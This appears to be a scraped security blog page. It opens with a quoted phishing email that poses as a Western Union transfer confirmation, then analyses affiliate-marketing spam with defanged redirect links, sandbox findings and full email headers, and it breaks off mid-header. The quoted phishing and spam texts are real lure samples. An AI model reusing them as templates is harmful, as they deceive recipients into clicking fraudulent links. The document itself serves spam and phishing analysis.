by mx1 (Postfix) with ESMTP id 442AB4715AB
for ; Thu, 30 Aug 2012 12:51:09 +0000 (GMT)
Received: from 85-250-70-7.bb.netvision.net.il ([85.250.70.7] helo=eurocina.it)
by srv534004-1.cloud.colt-engine.it with esmtpsa (TLSv1:AES256-SHA:256)
(Exim 4.76)
(envelope-from )
id 1T74CM-0002Od-2o; Thu, 30 Aug 2012 14:50:14 +0200
Message-ID: <337f2ff7 .43d9abdf=".43d9abdf" eurocina.it="eurocina.it">
Date: Thu, 30 Aug 2012 14:50:17 +0200
Reply-To: "2012, Western Union"
From: "2012, Western Union"
X-Accept-Language: en-us
MIME-Version: 1.0
To:
Subject: Western Union: Confirmed money transfer
Content-Type: text/html;
charset="us-ascii"
Content-Transfer-Encoding: 7bit

Dear Melanie Gibb,


Thank you for using the Western Union Money Transfer service

Your money transfer has been authorized, and is now available for pick up by the receiver.




Transfers to certain destinations may be subject to further delay or additional restrictions.


TRANSACTION DETAILS:


Your Money Transfer Control Number [MTCN] is: 7741471847


Please use this number for all inquiries.


Date of Order: 08/13/2012
Time of Order: 3:25 p.m. ET
Total Amount: $200.50
Transaction Type: credit
AUTH CODE: 16985615

Selected Additional Service (s):
No Additional Services selected.

Western Union Gold Card Reward Summary
Western Union Card Number: 43566235
Points Earned: 85
Total Points: 30

Click here for transaction details [LINK TO NON-WESTERN UNION SITE]


YOU EARNED 3 MINUTES OF PHONE TIME! Your time is loaded directly on your card. Calling instructions are on the card back, or dial 888-628-8862 & enter your personal PIN: 233705064231.


You sent the funds, now make it personal!
Record a greeting with your webcam, upload a photo or send a postcard!
Send a free greeting now at http://wugreetings [DOT] com

Check if the receiver has picked up the money transfer. [LINK TO NON-WESTERN UNION SITE]


IN ADDITION TO THE TRANSFER FEE, WESTERN UNION ALSO MAKES MONEY WHEN IT CHANGES YOUR DOLLARS TO PESOS. PLEASE SEE BELOW FOR MORE INFORMATION REGARDING CURRENCY EXCHANGE.

ADEM?S DE LOS CARGOS POR EL SERVICIO DE TRANSFERENCIA, WESTERN UNION TAMBI?N GANA DINERO CUANDO CAMBIA SUS D?LARES A PESOS. POR FAVOR LEA EN LA PARTE INFERIOR M?S INFORMACI?N SOBRE EL CAMBIO DE MONEDA.

THE CURRENCY TO BE PAID OUT AND THE EXCHANGE RATE FOR YOUR TRANSACTION WERE DETERMINED AT THE TIME OF SEND IF LISTED ON YOUR RECEIPT. OTHERWISE, THE EXCHANGE RATE WILL BE SET WHEN THE RECEIVER RECEIVES THE FUNDS. PROTECT YOURSELF FROM CONSUMER FRAUD. BE CAREFUL WHEN A STRANGER ASKS YOU TO SEND MONEY. FOR A COMPLETE COPY OF THE TERMS AND CONDITIONS GOVERNING THIS TRANSACTION AND THE SERVICES YOU HAVE SELECTED PLEASE REVIEW AND PRINT THE TERMS AND CONDITIONS.[LINK TO NON-WESTERN UNION SITE]


REFUNDS. PRINCIPAL REFUNDS and cancellation of the money transfer will be made if payment to the Receiver has not been made when Western Union processes Customers written request. TRANSFER FEE REFUNDS are generally made if funds are not available to the Receiver within Western Unions specified timeframes. Qualifying refunds will be made within 45 days of receipt of Customers valid written request.


LIMITATIONS OF LIABILITY. . IN NO EVENT SHALL WESTERN UNION BE LIABLE FOR DAMAGES FOR DELAY, NONDELIVERY, NONPAYMENT OR UNDERPAYMENT OF ANY SERVICES TRANSACTION, WHETHER CAUSED BY NEGLIGENCE ON THE PART OF ITS EMPLOYEES, SUPPLIERS OR AGENTS OR OTHERWISE, BEYOND THE SUM OF $500 (in addition to refunding the principal amount and the transfer fees), UNLESS THE SENDER HAS OBTAINED A HIGHER LIABILITY LIMIT BY CALLING THE TELEPHONE NUMBER SET FORTH BELOW AND PAYING AN ADDITIONAL CHARGE THEREFOR. IN NO EVENT WILL WESTERN UNION BE LIABLE FOR ANY INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, EXEMPLARY OR PUNITIVE DAMAGES OR THE LIKE. THESE CONDITIONS CANNOT BE CHANGED OR SUPPLEMENTED ORALLY.


CURRENCY EXCHANGE. Payments will generally be in local currency (except that in certain countries payment may be in U.S. dollars or other alternate currency at participating locations). In addition to the transfer fees applicable to this transaction, a currency exchange rate will be applied. United States currency is converted to foreign currency at an
exchange rate set by Western Union. Any difference between the rate given to Customers and the rate received by Western Union will be kept by Western Union (and its Agents in some cases) in addition to the transfer fees. Please ask a customer service representative for information concerning the currency exchange rate applicable to your transaction. You may also find out
the current foreign exchange rate provided by Western Union to its customers by calling toll-free to 1-800-325-6000.

The transfer fees and the money Western Union (or its Agents) makes when it changes your dollars into foreign currency may vary based upon the payout currency that you select. Some Western Union Agents may offer receivers the choice to receive funds in a currency different from the one you selected. In such instances, Western Union (or its Agents) may make additional money when it changes your funds into the Receiver selected currency.


CAMBIO DE MONEDA. Los pagos se har?n generalmente en moneda local (excepto que en algunos pa?ses el pago puede hacerse en d?lares estadounidenses u otra moneda alternativa en lugares habilitados). Adem?s de los cargos por el servicio de transferencia establecidos para esta transacci?n, se aplicar? un tipo de cambio de moneda. Para la conversi?n de la moneda de los Estados Unidos a moneda extranjera se aplicar? el tipo de cambio determinado por Western Union. Cualquier diferencia entre el tipo de cambio ofrecido a los clientes y el tipo de cambio obtenido por Western Union, adem?s de los cargos por el servicio de transferencia, corresponder? a Western Union (y sus agentes en algunos casos). Por favor solicite el representante de servicio al cliente que le atienda informaci?n respecto al tipo de cambio de moneda que se va a aplicar a su transacci?n. Usted tambi?n puede solicitar informaci?n sobre el tipo de cambio de moneda extranjera actual que este ofreciendo Western Union a sus clientes, llamando gratuitamente al 1-800-325-4045.

Los cargos por el servicio de transferencia y el dinero que Western Union (o sus Agencias) ganan al cambiar sus d?lares a moneda extranjera pueden variar de acuerdo a la moneda de pago que usted seleccione. Algunas localidades de agentes de Western Union pueden ofrecer al Destinatario la elecci?n de recibir el dinero en una moneda diferente a la que usted seleccion?. En tales casos, Western Union (o sus agentes) pueden ganar dinero adicional cuando cambien su dinero a la moneda elegida por el Destinatario.



WESTERN UNION PRIVACY POLICIES: Western Union may disclose your personal information to third parties as explained in its Privacy Statement ("Statement"). To obtain a copy of the Statement, ask your Western Union Agent or call 1-800-562-2598. Information disclosed may include financial background; identification, such as name and address; transaction information; and other information relating to financial matters. Recipients may include financial institutions; retailers; companies that process
transactions or provide other services for us; government agencies; and direct marketers. You may opt out of (direct us not to make) certain disclosures. If you do not opt out, we will assume that you agree that your
information may be used as the Statement describes. To opt out, call 1-800-562-2598.


We value your opinion! Go to [LINK TO NON-WESTERN UNION SITE, masked as westernunion [DOT] com] to tell us about our service. Survey code : 2879429247.


If you have any questions, visit us at [LINK TO NON-WESTERN UNION SITE, masked as westernunion [DOT] com]


Thank you for using Western Union!


DO NOT REPLY TO THIS EMAIL. IF YOU HAVE QUESTIONS PLEASE CONTACT US [LINK TO NON-WESTERN UNION SITE]

@securityguy23:

Rebuilding my lab box after some hardware decided to unexpectedly go all funky chicken over the weekend without the required change control approvals. . .

@securityguy23:

Finishing off a customer security audit against PCI 2.0 standards

No, I Do Not Want Your Money Making Scam (Or the Daily Bonus You Claim I Have Earned)

About twice a day (for a while now), I'm receiving emails claiming that I have a "gift waiting" or a "friend of mine just told me about this", or "product download delivery" or something in between. All are in basically the same cheap looking format and usually include at least one (but sometimes several) link(s) labeled as some sort of "Bonus".

All of these emails are clearly fake and appear to be just annoying spam selling a variety of get rich quick marketing schemes.

The emails themselves do not look like anybody tried to make them remotely genuine. They all use only basic text with only some CAPS changes, an occasional bold/underlining, and their choice of font to draw in the reader.

While they also seem to be coming from a variety of source email addresses, there does seem to be (some) similar sender name derivatives:

IM Tips & Gifts
Frank Salinas
HOT Downloads
John Cornetta
IM Resources
New I.M. Gifts
Easy Profit Systems
IM Systems & Downloads
Newsletter V.I.P
Support Center
John
Frank & John
Gift Manager
John & Frank
Advanced Options
Frank E Salinas
Clearance Notifications
New Marketing Gifts
Quick Resources
Download Liquidation

(And many many many others)

Many also referenced John Cornetta or Frank Salinas or both in their email bodies as well

Subject names also appear to be similar:

Attention robert credit application
You rock robert
Gift for robert
Act now, you'll be glad you did
Congrats (Please open)
Product Delivery for robert
Gifted to robert
Get this $97 download now
Complimentary Download
100% discount applied for robert
Thank you
Surprise :-)
3 Weird Marketing Tricks
I appreciate you robert
Cool 4th of July Gift
re: Your download credit
Hope you haven't already bought this
Confirmed for robert
Transfer of Funds robert
Keep it, use it, enjoy it!
The Magic Link..
New, No Charge!

(And many many many others)

Weirdly, they are all also tagged at the bottom with what they call a "Material Connection Disclosure" warning readers to basically be careful of the people who are being advertised in the spam message. Good advice.

MATERIAL CONNECTION DISCLOSURE: You should assume that the
sender of this e-mail has an affiliate relationship and/or
another material connection to the providers of goods and services
mentioned in this message and may be compensated when you
purchase from a provider. You should always perform due diligence
before buying goods or services from anyone via the Internet or
offline.

PO BOX 7636, Romeoville, IL, 60446, USA

Sampled several of the links and found most were redirects via "www [DOT] imnicamail [DOT] com"

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2xou/36ic/rs/l09/dkm/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Dtimbuist1k

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2xi2/36c1/rs/l09/dkm/rs//http%3A%2F%2Ffmllc.s3.amazonaws [DOT] com%2Fguaranteedsubs.htm

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2xi2/36c1/rs/l09/dkm/rs//http%3A%2F%2Fformidablemarketers [DOT] com%2Fmax%2F1

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2xhp/36az/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Dcoolgift

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2xi0/36bz/rs/l09/dkm/rs//http%3A%2F%2Fformidablemarketers [DOT] com%2Fmax%2F1

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2x96/3635/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Dvipaccess

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2x9p/363u/rs/l09/dkm/rs//http%3A%2F%2Fwww [DOT] formidablemarketers [DOT] com%2Fmax%2F1

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2x93/3634/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Ddailybonus

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2x93/3634/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Dvipaccess

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2wyw/35uw/rs/l09/dkm/rs//https%3A%2F%2Fsecure.highprofits [DOT] com%2Ft%2FV23Ws%2FTgRDk%2Fimnica

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2wpu/35o2/rs/l09/dkm/rs//http%3A%2F%2Fformidablemarketers [DOT] com%2Fmax%2F1

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2wbu/35d0/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Ddailytools

http://www [DOT] imnicamail [DOT] com/v4/tl [DOT] php?p=2wbu/35d0/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Ddailybonus

Opened in the test sandbox and found only the expected redirects -- each ending up at different website marketing a different product/service.

One ended up at "http://www [DOT] kenyanetsuccess [DOT] com/500" trying to convince me how I can "earn $525+ a day in 60 days. . .100% free presentation"

One ended up at "http://www [DOT] jtmartin [DOT] net/8plr/?ssfo=249253,14095246" trying to sell me something called the "Wealth4Everyone COOP Marketing System" claiming to be a "100% free, automated referral system"

One took me to "http://www [DOT] secretinfoexposed [DOT] com" claiming to have "This secret will change the way you look at making money!"

One redirected me back to "http://www [DOT] jtmartin [DOT] net/8plr/?ssfo=249253,14095246" but with a different advertisement than before. This one for "8 free PLR Audio Reports.... Reveal secret marketing and sales tactics! If your not using these lethal strategies, you are leaving money on the table" (By the way -- I think you meant "You're")

None of these links appeared to have any malware or virus or whatever. Just crap advertising for the internet equivalent of a MLM scam. Some of the pages did have an annoying popup to "Confirm I wanted to leave the page" when I tried to do just that.

Confirm Navigation

WAIT BEFORE YOU GO!

CLICK THE *CANCEL* BUTTON RIGHT NOW
TO STAY ON THE CURRENT PAGE.

I HAVE SOMETHING VERY SPECIAL FOR YOU!

Are you sure you want to leave this page?

Each email does have an unsubscribe link to it which appear to be unique to the spam message. Pulled five separate links for testing

http://www [DOT] imnicamail [DOT] com/v4/u [DOT] php?p=2xhs/rs/k3q/ae9/36b1/rs

http://www [DOT] imnicamail [DOT] com/v4/u [DOT] php?p=2xou/rs/l09/dkm/36ic/rs

http://www [DOT] imnicamail [DOT] com/v4/u [DOT] php?p=2xi2/rs/l09/dkm/36c1/rs

http://www [DOT] imnicamail [DOT] com/v4/u [DOT] php?p=2xhp/rs/k3q/ae9/36az/rs

http://www [DOT] imnicamail [DOT] com/v4/u [DOT] php?p=2xi0/rs/l09/dkm/36bz/rs

Opened the first in the sandbox and received an Unsubcription Confirmation.

Then opened a second and received an error that I had already been unsubscribed. Perhaps this is one of the rare spams where unsubscribing actually works.

Only time will tell

---

Few Full Email Examples with the Complete Headers and Body::

Delivered-To: christoperj
Received: by 10.231.67.211 with SMTP id s19csp190637ibi;
Tue, 10 Jul 2012 18:38:37 -0700 (PDT)
Received: by 10.101.106.12 with SMTP id i12mr16255909anm.35.1341970714052;
Tue, 10 Jul 2012 18:38:34 -0700 (PDT)
DomainKey-Status: good
Received-SPF: softfail (: best guess record for domain of transitioning bounce-27527396-5111060-2544536-225668@imnicamail [DOT] com does not designate 10.23.23.23 as permitted sender) client-ip=10.23.23.23;
Received: by 10.232.20.141 with POP3 id f13mf127745ghb.31;
Tue, 10 Jul 2012 18:38:34 -0700 (PDT)
Return-Path:
Delivered-To:
Received: from mx1. ([10.23.23.23])
by mss-us12. (Dovecot) with LMTP id ywTSOcjW/E8zWgAAWHoucg
for ; Wed, 11 Jul 2012 01:29:56 +0000
Received: from ds3-smtp1.imnicamail [DOT] com (ds3-smtp1.imnicamail [DOT] com [67.215.238.236])
by mx1. (Postfix) with ESMTP id 31ADA471A7B
for ; Wed, 11 Jul 2012 01:29:56 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=im1; d=imnicamail [DOT] com;
h=Date:To:From:Reply-to:Subject:Message-ID:Sender:List-Unsubscribe:List-Unsubscribe:MIME-Version:Content-Transfer-Encoding:Content-Type;
bh=1Bhc72ixsdS9cZlifyTZREcvTpY=;
b=foCJ0cGLl7ww9A7fuQZnPiVBaN82mWVwuVXYoCPF2yeWO4yXXLcKcIg3AYzq5WvbJghHnZW25WmY
osxLQmiT3GgYnYfhaNhMau6YJbuW1UfHMMBNXgNL4iTn3YEVNUDkzJJF0lrQrxHp+v7yJzlNX8Tc
/WyQLfQkHVlfQMUk200=
Received: by ds3-smtp1.imnicamail [DOT] com id hvjbh81ak60m for ; Wed, 11 Jul 2012 01:29:46 +0000 (envelope-from )
Date: Wed, 11 Jul 2012 01:29:45 +0000
To: "robert"
From: IM Tips & Gifts
Reply-to: IM Tips & Gifts
Subject: Attention robert credit applied
Message-ID: <3bbb8b1a8194f25ea313de3d8fdc56a3@imnicamail [DOT] com>
X-Priority: 3
Sender:
X-Mailer: ImnicaMail
X-Complaints-To: complaints@imnicamail [DOT] com
List-Unsubscribe:
X-MessageID: MTM0OTM4fHx8fDI1MDU0fHx8fHJvYmVydEBjaHJpc3RvcGVyai5jb218fHx8MTI0NzN8fHx8MTEwNnx8fHww
X-Report-Abuse:
List-Unsubscribe:
Precedence: bulk
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"

Account: robert

Attention, You have been awarded one (1) download

credit. Just follow directions on this webpage to claim:

==> Claim your download here [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2ww2/35sl/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Ddailybonus ]


* I know you are going to get some use out of this [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2ww2/35sl/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Ddailybonus ]


DAILY BONUS [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2ww2/35sl/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Ddailybonus ]




===============================================

IMPORTANT: You have subscribed to be on this list.
Do not unsubscribe! We do our best to send ONLY quality content and offers
through our mailing list. If you wish to stop receiving emails from me, you
may do so instantly by clicking below. Please keep in mind that you will
lose access to the downloads and offers I send, forever.


MATERIAL CONNECTION DISCLOSURE: You should assume that the
sender of this e-mail has an affiliate relationship and/or
another material connection to the providers of goods and services
mentioned in this message and may be compensated when you
purchase from a provider. You should always perform due diligence
before buying goods or services from anyone via the Internet or
offline.

PO BOX 7636, Romeoville, IL, 60446, USA



unsubscribe [ LINK TO: http://www.imnicamail [DOT] com/v4/u [DOT] php?p=2ww2/rs/k3q/ae9/35sl/rs ]

Delivered-To: christoperj
Received: by 10.231.67.211 with SMTP id s19csp165153ibi;
Tue, 10 Jul 2012 06:41:20 -0700 (PDT)
Received: by 10.236.109.229 with SMTP id s65mr52637888yhg.10.1341927679073;
Tue, 10 Jul 2012 06:41:19 -0700 (PDT)
DomainKey-Status: good
Received-SPF: softfail (: best guess record for domain of transitioning bounce-27556160-5349944-3384404-1253828@imnicamail [DOT] com does not designate 10.23.23.23 as permitted sender) client-ip=10.23.23.23;
Received: by 10.157.134.1 with POP3 id l1mf12172370yen.11;
Tue, 10 Jul 2012 06:41:19 -0700 (PDT)
X-Gmail-Fetch-Info: catchall 8 pop. 995 catchall
Return-Path:
Delivered-To:
Received: from mx1. ([10.23.23.23])
by mss-us12. (Dovecot) with LMTP id 8QC+Fqcv/E8XRgAAWHoucg
for ; Tue, 10 Jul 2012 13:40:19 +0000
Received: from ds3-smtp4.imnicamail [DOT] com (ds3-smtp4.imnicamail [DOT] com [66.154.117.139])
by mx1. (Postfix) with ESMTP id 1BAEE470999
for ; Tue, 10 Jul 2012 13:40:19 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=im1; d=imnicamail [DOT] com;
h=Date:To:From:Reply-to:Subject:Message-ID:Sender:List-Unsubscribe:List-Unsubscribe:MIME-Version:Content-Transfer-Encoding:Content-Type;
bh=kmOcgB92j2FOYUlfXSLmQeQizRE=;
b=PrB28QwLwtEr6AbbaHZ7qIF4upqUEDSChXPUaD49byAI335vIhcpxYnrgQzbB8Gppvcc8rFneUte
pI7Lp2zLJyoft17h4SCV1I2y4TaGQ6WZVTU+V1fJfoVUekA5jWYJmFas/rGIZD9CpZTV1vVWUHZS
wVrBGQAwqBiQST357zU=
Received: by ds3-smtp4.imnicamail [DOT] com id hvgoc61ak60l for ; Tue, 10 Jul 2012 13:40:13 +0000 (envelope-from )
Date: Tue, 10 Jul 2012 13:40:12 +0000
To: "robert"
From: Frank Salinas
Reply-to: Frank Salinas
Subject: your rock robert
Message-ID:
X-Priority: 3
Sender:
X-Mailer: ImnicaMail
X-Complaints-To: complaints@imnicamail [DOT] com
List-Unsubscribe:
X-MessageID: MTM1MDc5fHx8fDI2MjI1fHx8fHJvYmVydEBjaHJpc3RvcGVyai5jb218fHx8MTY1OTB8fHx8NjE0Nnx8fHww
X-Report-Abuse:
List-Unsubscribe:
Precedence: bulk
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"

Thank you again for being one of our valued
subscribers..you rock!

We spend a large part of our day researching
all the new products that get released and
feel this one is well worth sharing with
you again.

You can take a look by visiting here [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2wzz/35vo/rs/l09/dkm/rs//http%3A%2F%2Fformidablemarketers [DOT] com%2Fmax%2F1 ]

Thank you again and we trust you will find
what we have shared with you today as
useful as we have. [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2wzz/35vo/rs/l09/dkm/rs//http%3A%2F%2Fformidablemarketers [DOT] com%2Fmax%2F1 ]

Frank

P.S. Here's a cool daily bonus [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2wzz/35vo/rs/l09/dkm/rs//http%3A%2F%2Fformidablemarketers [DOT] com%2Fmax%2F1 ]


-------------------------------------
Material Connection Disclosure: You should
assume that the sender of this e-mail has an
affiliate relationship and/or another
material connection to the providers of
goods and services mentioned in this message
and may be compensated when you purchase
from a provider. You should always perform
due diligence before buying goods or
services from anyone via the Internet or
offline.

PO BOX 7636, Romeoville, IL 60446

Click here to unsubscribe [ LINK TO: http://www.imnicamail [DOT] com/v4/u [DOT] php?p=2wzz/rs/l09/dkm/35vo/rs ]

Delivered-To: christoperj
Received: by 10.231.67.211 with SMTP id s19csp155053ibi;
Tue, 10 Jul 2012 01:53:24 -0700 (PDT)
Received: by 10.236.46.226 with SMTP id r62mr12624170yhb.98.1341910402424;
Tue, 10 Jul 2012 01:53:22 -0700 (PDT)
DomainKey-Status: good
Received-SPF: softfail (: best guess record for domain of transitioning bounce-27526988-5111060-2544536-225668@imnicamail [DOT] com does not designate 10.23.23.23 as permitted sender) client-ip=10.23.23.23;
Received: by 10.232.25.150 with POP3 id z22mf11744686ghb.26;
Tue, 10 Jul 2012 01:53:22 -0700 (PDT)

Return-Path:
Delivered-To:
Received: from mx1. ([10.23.23.23])
by mss-us12. (Dovecot) with LMTP id QsYcIS/j+0+xfgAAWHoucg
for ; Tue, 10 Jul 2012 08:27:45 +0000
Received: from ds3-smtp4.imnicamail [DOT] com (ds3-smtp4.imnicamail [DOT] com [66.154.117.139])
by mx1. (Postfix) with ESMTP id 20E423F00A7
for ; Tue, 10 Jul 2012 08:27:45 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=im1; d=imnicamail [DOT] com;
h=Date:To:From:Reply-to:Subject:Message-ID:Sender:List-Unsubscribe:List-Unsubscribe:MIME-Version:Content-Transfer-Encoding:Content-Type;
bh=buz2pHXo20w7/uB8XYbRkNEruWg=;
b=U4Z0Q+DirPAao6Tb08GoA9yTt6a5vi5Dgfc+ch9sWZmicctWHWtWwfA7h1SlbCaTOUlFUg+UVC4H
JLldVtrlG+HP30RH8O2OSSvsTBo2P1E9agC7cxwvVaDeIl4YlungdRWZOlV6SikIVQj9zQ8QWpqh
mvaHVovFJVwCJoTVav4=
Received: by ds3-smtp4.imnicamail [DOT] com id hvfjo21ak60h for ; Tue, 10 Jul 2012 08:27:39 +0000 (envelope-from )
Date: Tue, 10 Jul 2012 08:27:37 +0000
To: "robert"
From: "New I.M. Gifts"
Reply-to: "New I.M. Gifts"
Subject: Gift for robert
Message-ID: <85140bd97bd262ac09d21a369868a471@imnicamail [DOT] com>
X-Priority: 3
Sender:
X-Mailer: ImnicaMail
X-Complaints-To: complaints@imnicamail [DOT] com
List-Unsubscribe:
X-MessageID: MTM0OTM2fHx8fDI1MDU0fHx8fHJvYmVydEBjaHJpc3RvcGVyai5jb218fHx8MTI0NzN8fHx8MTEwNnx8fHww
X-Report-Abuse:
List-Unsubscribe:
Precedence: bulk
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"

I found a great gift for you today

Just follow these simple instructions to claim..



Step 1: Click the link below:

> Free IM Tool [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2ww0/35sj/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Ddailytools ]



Step 2: Sign up



Step 3: Confirm

> Free IM Tool [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2ww0/35sj/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Ddailytools ]



Enjoy,

John



And don't forget you daily bonus

DAILY BONUS LINK [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2ww0/35sj/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Ddailytools ]




===============================================

IMPORTANT: You have subscribed to be on this list.
Do not unsubscribe! We do our best to send ONLY quality content and offers
through our mailing list. If you wish to stop receiving emails from me, you
may do so instantly by clicking below. Please keep in mind that you will
lose access to the downloads and offers I send, forever.


MATERIAL CONNECTION DISCLOSURE: You should assume that the
sender of this e-mail has an affiliate relationship and/or
another material connection to the providers of goods and services
mentioned in this message and may be compensated when you
purchase from a provider. You should always perform due diligence
before buying goods or services from anyone via the Internet or
offline.


PO BOX 7636, Romeoville, IL, 60446, USA

...
Click here to unsubscribe [ LINK TO: http://www.imnicamail [DOT] com/v4/u [DOT] php?p=2ww0/rs/k3q/ae9/35sj/rs ]

Delivered-To: christoperj
Received: by 10.231.67.211 with SMTP id s19csp144578ibi;
Mon, 9 Jul 2012 18:28:58 -0700 (PDT)
Received: by 10.101.19.2 with SMTP id w2mr14845421ani.9.1341883737613;
Mon, 09 Jul 2012 18:28:57 -0700 (PDT)
DomainKey-Status: good
Received-SPF: softfail (: best guess record for domain of transitioning bounce-27478844-5111060-2544536-225668@imnicamail [DOT] com does not designate 10.23.23.23 as permitted sender) client-ip=10.23.23.23;
Received: by 10.232.11.16 with POP3 id r16mf11653262ghr.29;
Mon, 09 Jul 2012 18:28:57 -0700 (PDT)

Return-Path:
Delivered-To:
Received: from mx1. ([10.23.23.23])
by mss-us12. (Dovecot) with LMTP id 4A9eMZGE+0/NGQAAWHoucg
for ; Tue, 10 Jul 2012 01:27:04 +0000
Received: from ds3-smtp2.imnicamail [DOT] com (ds3-smtp2.imnicamail [DOT] com [96.44.131.121])
by mx1. (Postfix) with ESMTP id EFA853F004A
for ; Tue, 10 Jul 2012 01:27:03 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=im1; d=imnicamail [DOT] com;
h=Date:To:From:Reply-to:Subject:Message-ID:Sender:List-Unsubscribe:List-Unsubscribe:MIME-Version:Content-Transfer-Encoding:Content-Type;
bh=WOQ7QuIzV0hi30KS6q7wQorGVX8=;
b=CrZHivox/RvaXCLFLyJSPUx+WeqwRURio9YFNZgZNXuKoIxyk8Qnfm7GX4MEy0ZorYgGN2Qjl9SA
PAZjSYWt2yXT0xjAwzTuHpg8Mjz48DQ7tEqMXJq9ERT5hXBeOqoPL66WPl5jVqNSlQgg6oCEMtkf
aHi3was3fleAXgprm6w=
Received: by ds3-smtp2.imnicamail [DOT] com id hve2ee1ak60r for ; Tue, 10 Jul 2012 01:27:02 +0000 (envelope-from )
Date: Tue, 10 Jul 2012 01:27:02 +0000
To: "robert"
From: HOT Downloads
Reply-to: HOT Downloads
Subject: Act now, you'll be glad you did...
Message-ID: <97b22c9a429e55f73343866d30eb518b@imnicamail [DOT] com>
X-Priority: 3
Sender:
X-Mailer: ImnicaMail
X-Complaints-To: complaints@imnicamail [DOT] com
List-Unsubscribe:
X-MessageID: MTM0NzAwfHx8fDI1MDU0fHx8fHJvYmVydEBjaHJpc3RvcGVyai5jb218fHx8MTI0NzN8fHx8MTEwNnx8fHww
X-Report-Abuse:
List-Unsubscribe:
Precedence: bulk
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"

A friend of mine just told me about this and I always like
to share whenever I find something really good!


I strongly urge you to at least check it out!


=> GO NOW [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2wpg/35nt/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Dvipaccess ]


you'll be happy you did :)




To your success,
John




Don't forget your daily bonus gift! [ LINK TO: http://www.imnicamail [DOT] com/v4/tl [DOT] php?p=2wpg/35nt/rs/k3q/ae9/rs//http%3A%2F%2Finternetprofitsource [DOT] com%2Fatg%2Fgo [DOT] php%3Fc%3Dvipaccess ]



Material Connection Disclosure: You should assume that the sender
of this e-mail has an affiliate relationship and/or another material
connection to any 3rd party providers of goods and services
mentioned in this message and may be compensated when you
purchase from a provider. You should always perform due
diligence before buying goods or services from anyone via the
internet or offline.
PO BOX 7636 Romeoville, IL 60446-0636, USA.

unsubscribe [ LINK TO: http://www.imnicamail [DOT] com/v4/u [DOT] php?p=2wpg/rs/k3q/ae9/35nt/rs ]

Delivered-To: christoperj
Received: by 10.231.67.211 with SMTP id s19csp139830ibi;
Mon, 9 Jul 2012 15:13:20 -0700 (PDT)
Received: by 10.236.155.41 with SMTP id i29mr48225193yhk.115.1341871997156;
Mon, 09 Jul 2012 15:13:17 -0700 (PDT)
DomainKey-Status: good
Received-SPF: softfail (: best guess record for domain of transitioning bounce-27530048-5349944-3384404-1253828@imnicamail [DOT] com does not designate 10.23.23.23 as permitted sender) client-ip=10.23.23.23;
Received: by 10.157.138.2 with POP3 id q2mf11378596yen.39;
Mon, 09 Jul 2012 15:13:17 -0700 (PDT)

Return-Path:
